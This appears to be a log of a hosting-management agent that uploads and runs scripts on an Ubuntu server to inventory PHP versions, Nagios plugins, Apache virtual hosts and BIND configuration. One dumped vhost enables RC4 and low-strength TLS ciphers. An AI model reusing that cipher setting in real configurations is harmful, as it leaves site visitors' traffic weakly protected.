-D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 1308
available=sites-available
[ps]
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1308 0.0 0.2 256004 35252 ? Ss Aug29 0:15 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
core_module (static)
so_module (static)
watchdog_module (static)
http_module (static)
log_config_module (static)
logio_module (static)
version_module (static)
unixd_module (static)
access_compat_module (shared)
alias_module (shared)
auth_basic_module (shared)
authn_core_module (shared)
authn_file_module (shared)
authz_core_module (shared)
authz_host_module (shared)
authz_user_module (shared)
autoindex_module (shared)
deflate_module (shared)
dir_module (shared)
env_module (shared)
filter_module (shared)
mime_module (shared)
mpm_prefork_module (shared)
negotiation_module (shared)
php_module (shared)
proxy_module (shared)
proxy_html_module (shared)
proxy_http_module (shared)
proxy_wstunnel_module (shared)
reqtimeout_module (shared)
rewrite_module (shared)
setenvif_module (shared)
socache_shmcb_module (shared)
ssl_module (shared)
status_module (shared)
xml2enc_module (shared)
2025-09-04 14:50:11:
SERVER INFO (php_model): array (
'debian' => 1,
'redhat' => 0,
'name' => 'rog',
'arch' => 'x86_64',
'raspbian' => 0,
'osdesc' => 'Ubuntu 24.04.3 LTS',
'rel' => '24.04.3',
'mac' => 0,
'distro' => 'ubuntu',
'swapfile' => '/swap.img',
'web' =>
array (
'apache2' =>
array (
'conf' => 'apache2.conf',
'config' => '/etc/apache2',
'user' => 'www-data',
'group' => 'www-data',
'available' => 'sites-available',
'running' => 1,
),
'modules' =>
array (
0 => 'core_module',
1 => 'so_module',
2 => 'watchdog_module',
3 => 'http_module',
4 => 'log_config_module',
5 => 'logio_module',
6 => 'version_module',
7 => 'unixd_module',
8 => 'access_compat_module',
9 => 'alias_module',
10 => 'auth_basic_module',
11 => 'authn_core_module',
12 => 'authn_file_module',
13 => 'authz_core_module',
14 => 'authz_host_module',
15 => 'authz_user_module',
16 => 'autoindex_module',
17 => 'deflate_module',
18 => 'dir_module',
19 => 'env_module',
20 => 'filter_module',
21 => 'mime_module',
22 => 'mpm_prefork_module',
23 => 'negotiation_module',
24 => 'php_module',
25 => 'proxy_module',
26 => 'proxy_html_module',
27 => 'proxy_http_module',
28 => 'proxy_wstunnel_module',
29 => 'reqtimeout_module',
30 => 'rewrite_module',
31 => 'setenvif_module',
32 => 'socache_shmcb_module',
33 => 'ssl_module',
34 => 'status_module',
35 => 'xml2enc_module',
),
),
)
2025-09-04 14:50:11:
PUT: /tmp/pkp739642
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
if [ ! -f "/usr/bin/add-apt-repository" ]; then
apt-get -y install software-properties-common > $temp_file 2>&1
fi
apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C > $temp_file 2>&1
add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
apt-get update > $temp_file 2>&1
fi
echo $BOUNDARY >> $temp_file
echo apt-get >> $temp_file
apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
echo >> $temp_file
fi
gzip -cn9 $temp_file
rm $temp_file
2025-09-04 14:50:11:
chmod 755 /tmp/pkp739642; /tmp/pkp739642; rm /tmp/pkp739642
2025-09-04 14:50:12:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
2025-09-04 14:50:12:
PUT: /tmp/pkp118768
#!/bin/bash
dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php5.6]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.0]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.1]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.2]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.3]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.4]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.0]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.1]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.2]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.3]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.4]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
2025-09-04 14:50:12:
chmod 755 /tmp/pkp118768; /tmp/pkp118768; rm /tmp/pkp118768
2025-09-04 14:50:12:
[php8.1]
php=/usr/bin/php8.1
fpm=
version=8.1.33
[php8.3]
php=/usr/bin/php8.3
fpm=
version=8.3.25
[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.12
2025-09-04 14:50:12:
PUT: /tmp/pkp729326
#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def collectCfgFiles(filename):
config = []
f = open(filename, 'r')
file = f.readlines()
for v in file:
v = v.rstrip()
if v != '' and v[0] != '#':
p = v.find('=')
if p > -1:
key = v[:p].strip()
value=v[p+1:].strip()
if key == 'cfg_file':
config.append(value)
f.close()
return config
def generate_hash(filename, type = 'MD5'):
digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
payload = type + '(' + filename + ')= ' + digest + "\n"
gz.write(payload.encode('cp437'))
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/check*')
for filename in filelist:
generate_hash(filename, 'bin')
return
try:
try:
filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
for file in filelist:
generate_hash(file)
except:
pass
scan_folder('/usr/local/nagios/libexec')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-04 14:50:13:
chmod 755 /tmp/pkp729326; /tmp/pkp729326; rm /tmp/pkp729326
2025-09-04 14:50:13:
(gzipped output)
bin(/usr/local/nagios/libexec/check_ups)= 7fc188439261052a0089a7103b4ca5f0
bin(/usr/local/nagios/libexec/check_nwstat)= cad9eb4c84fade3e778388d1c397ca44
bin(/usr/local/nagios/libexec/check_smtp)= 58f20f1be6fe79ceb18495cdc8af30df
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 60fd670663059fda22ad3c69f060d28e
bin(/usr/local/nagios/libexec/check_apt)= 7d7bd3a78eeb8cb1cbff98658f6a2604
bin(/usr/local/nagios/libexec/check_swap)= f7b40653d50c41423fb55e1ef78fbd03
bin(/usr/local/nagios/libexec/check_real)= 10c4f762260b9188703147d7e2bf808e
bin(/usr/local/nagios/libexec/check_users)= acf263ca6679b08d634fce866a719390
bin(/usr/local/nagios/libexec/check_rpc)= 877c0b3732333358999e1ab17aed7a84
bin(/usr/local/nagios/libexec/check_ntp)= 3f27060ad856c95ba539b4a5e0ca9458
bin(/usr/local/nagios/libexec/check_disk)= dfb1f1e3c3262efcdd11d7bb366e9329
bin(/usr/local/nagios/libexec/check_dig)= 72f7fedb00b83dca84ddbedc6b1a9e65
bin(/usr/local/nagios/libexec/check_ide_smart)= e4282cdf643f611222dea7ed06ba7b1f
bin(/usr/local/nagios/libexec/check_breeze)= 17f1ae418f73ae66c13aedb92b0d7106
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_tcp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_printer.php)= e1b42354c26a7ee89ba22b3af8af1578
bin(/usr/local/nagios/libexec/check_ntp_peer)= 1012bb69dbe28a20c47f83cb8502829c
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5
bin(/usr/local/nagios/libexec/check_sensors)= 93f23897502fce95ac37b42b63f8a121
bin(/usr/local/nagios/libexec/check_ntp_time)= 93818330bf26c2823c1985254019368d
bin(/usr/local/nagios/libexec/check_disk_smb)= 20df89ee7110f042d6119b51b6b47fcc
bin(/usr/local/nagios/libexec/check_file_age)= f9c9e8f272624bac2336c0dc261aa4f1
bin(/usr/local/nagios/libexec/check_overcr)= 31e5b6e8d961a2c25c2cdd4febef9a3d
bin(/usr/local/nagios/libexec/check_by_ssh)= 55b5fda59ebdd27200d63a13133113c2
bin(/usr/local/nagios/libexec/check_nntp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_mailq)= 28bc32f5bed1017ecdb469e69ecb59ac
bin(/usr/local/nagios/libexec/check_ping)= f33d99f6a394c5341f7bb6390e2f44c2
bin(/usr/local/nagios/libexec/check_flexlm)= cef725bcbe5623da973584232b0fb1ea
bin(/usr/local/nagios/libexec/check_time)= 75ff7b75649deaa34ba5a8115e7bc1ea
bin(/usr/local/nagios/libexec/check_mrtg)= 40c6d0f71161c67f491aa11f57715867
bin(/usr/local/nagios/libexec/check_uptime)= 0a77a9f937bfb2ab6607abdd74e62f41
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_ftp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_nagios)= cd16ecade3f59c4bedac7c3038b411b9
bin(/usr/local/nagios/libexec/check_udp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ifoperstatus)= a7f0a5a6623cb153cd11cc419088c74b
bin(/usr/local/nagios/libexec/check_log)= 9292b8656dd3ebc9f9cb3f0acdf45cf7
bin(/usr/local/nagios/libexec/check_imap)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ifstatus)= 13135b7e17d4daf1fa87d7cf2c4e4f22
bin(/usr/local/nagios/libexec/check_icmp)= b0d58b5701f7b86f7738a43f175ede4a
bin(/usr/local/nagios/libexec/check_oracle)= 9c5171e12f0b1fe84b51eff80842fb66
bin(/usr/local/nagios/libexec/check_ssh)= 0dd020c1f83941e7b62063c2a1d2954d
bin(/usr/local/nagios/libexec/check_wave)= 98dd0b7a7884c98ec62701568047e010
bin(/usr/local/nagios/libexec/check_pop)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_cluster)= 08aeb28f2a6b3dceddda1dd90918388a
bin(/usr/local/nagios/libexec/check_load)= 7953042df164e8e47234a955376f77f4
bin(/usr/local/nagios/libexec/check_procs)= 0891055bb921943995cbbd8e9b7218bb
bin(/usr/local/nagios/libexec/check_nt)= 31d152e80f15be7ec2cd7f38fcd17d7a
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_dhcp)= 66b6794ccc1f2702910eb2cf4503ada0
bin(/usr/local/nagios/libexec/check_ircd)= e006b8d46149f00c2e371ebd3176d283
bin(/usr/local/nagios/libexec/check_dns)= 2d442b7cf8b203520555e93b77b009e5
bin(/usr/local/nagios/libexec/check_clamd)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_dummy)= 99113a54b487e0c637b003dec276d294
bin(/usr/local/nagios/libexec/check_sensors.php)= 172c8cb7ebe7199e4f589ed2f4d4d46d
bin(/usr/local/nagios/libexec/check_http)= a3764b736da28a6c9d17d07b65887e57
2025-09-04 14:50:13:
PUT: /tmp/pkp238463
#!/bin/bash
install=
if [ -f "/usr/bin/yum" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
install="$install openssl"
fi
rpm -qi mod_ssl > /dev/null 2>&1
retVal=$?
if [ $retVal -ne 0 ]; then
install="$install mod_ssl"
fi
if [ ! -z $install ]; then
yum -y install $install
systemctl restart apache2
echo status=restarted
else
echo status=ok
fi
elif [ -f "/usr/bin/apt-get" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
apt-get update
apt-get -y install openssl
fi
if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
a2enmod -q ssl
systemctl restart apache2
fi
echo status=ok
fi
2025-09-04 14:50:14:
chmod 755 /tmp/pkp238463; /tmp/pkp238463; rm /tmp/pkp238463
2025-09-04 14:50:14:
status=ok
2025-09-04 14:50:14:
PUT: /tmp/pkp345135
#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def generate_hash_certificate(content, folder):
file = content.split("\n")
for v in file:
v = v.strip()
if v != '' and v[0] != '#':
match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
if match is not None:
filename = match.group(1)
filename = normalize_path(folder, filename, True)
generate_hash(filename, folder)
def normalize_path(basepath, relativepath, isFile):
if relativepath[:1] == '/':
return relativepath
if isFile:
basename = os.path.basename(relativepath)
relativepath = os.path.dirname(relativepath)
else:
basename = ''
basepath = basepath.split('/')
relativepath = relativepath.split('/')
for element in relativepath:
if element == '..':
basepath.pop()
elif element != '.' and element != '':
basepath.append(element)
basepath = '/'.join(basepath)
if basename != '':
basepath += '/' + basename
return basepath
def generate_hash(filename, folder):
if os.path.islink(filename):
target = os.readlink(filename)
target = normalize_path(folder, target, True)
payload = 'link(' + filename + ')= ' + target + "\n"
gz.write(payload.encode('cp437'))
return
content = open(filename).read()
filehash = hashlib.md5()
filehash.update(content.encode('cp437'))
payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
gz.write(payload.encode('cp437'))
lower_content = content.lower()
if lower_content.find('sslcertificatefile') > -1:
generate_hash_certificate(content, folder)
return
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/*.conf')
for filename in filelist:
generate_hash(filename, folder)
return
try:
APACHE_ROOT = '/etc/apache2'
scan_folder(APACHE_ROOT)
scan_folder(APACHE_ROOT + '/conf.d')
scan_folder(APACHE_ROOT + '/conf.modules.d')
scan_folder(APACHE_ROOT + '/sites-available')
scan_folder(APACHE_ROOT + '/sites-enabled')
scan_folder(APACHE_ROOT + '/hosts.d')
finally:
gz.close()
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-04 14:50:14:
chmod 755 /tmp/pkp345135; /tmp/pkp345135; rm /tmp/pkp345135
2025-09-04 14:50:14:
2025-09-04 14:50:14:
PUT: /tmp/pkp723662
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-available/cityelectric_www_online.conf')
show_file('/etc/apache2/sites-available/pjy_alive_us.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-04 14:50:15:
chmod 755 /tmp/pkp723662; /tmp/pkp723662; rm /tmp/pkp723662
2025-09-04 14:50:15:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/cityelectric_www_online.conf 1218
<VirtualHost *:80>
ServerName cityelectric.online
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/cityelectric_www
<Directory /var/www/cityelectric_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/cityelectric/www_access.log combined
ErrorLog /var/log/apache2/cityelectric/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName cityelectric.online
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/58e746b88fcdd674270ef29574194035.crt
DocumentRoot /var/www/cityelectric_www
<Directory /var/www/cityelectric_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/cityelectric/www_secure_access.log combined
ErrorLog /var/log/apache2/cityelectric/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/pjy_alive_us.conf 470
<VirtualHost *:80>
ServerName alive.pjy.us
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/pjy_alive
<Directory /var/www/pjy_alive>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/alive_access.log combined
ErrorLog /var/log/apache2/pjy/alive_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
(gzipped output)
MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/cityelectric_www_online.conf)= 98a5766b5fedd44b564deeae2b7f4597
MD5(/etc/ssl/certs/58e746b88fcdd674270ef29574194035.crt)= 022cdad52e685522d13d48e47c3c5686
MD5(/etc/apache2/sites-available/pjy_home_us.conf)= b92aff1e8d83db409d859ecc91bbe2ea
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= ee811400f23cea4e6e71bc578be6cf8a
MD5(/etc/apache2/sites-available/hopeinstoughton_cdn4_org.conf)= 40743bf141b7da55b55cc9e1aa210026
MD5(/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt)= 24354e5a9e87bc06d7655e410b84a785
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= ca34edd674c003e68e65b9ddf3a5583b
MD5(/etc/apache2/sites-available/pjy_alive_us.conf)= 93e40f97ed46d5de00a4f6427b0b2743
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/cityelectric_www_online.conf)= /etc/apache2/sites-available/cityelectric_www_online.conf
link(/etc/apache2/sites-enabled/pjy_home_us.conf)= /etc/apache2/sites-available/pjy_home_us.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf)= /etc/apache2/sites-available/hopeinstoughton_cdn4_org.conf
link(/etc/apache2/sites-enabled/pjy_alive_us.conf)= /etc/apache2/sites-available/pjy_alive_us.conf
STDERR:
/tmp/pkp345135:12: SyntaxWarning: invalid escape sequence '\s'
match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
2025-09-04 14:50:15: Establishing a connection
2025-09-04 14:50:15:
PUT: /tmp/pkp593995
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-09-04 14:50:16:
runuser -l bind -s /bin/bash -c '/tmp/pkp593995; rm /tmp/pkp593995'
2025-09-04 14:50:16:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
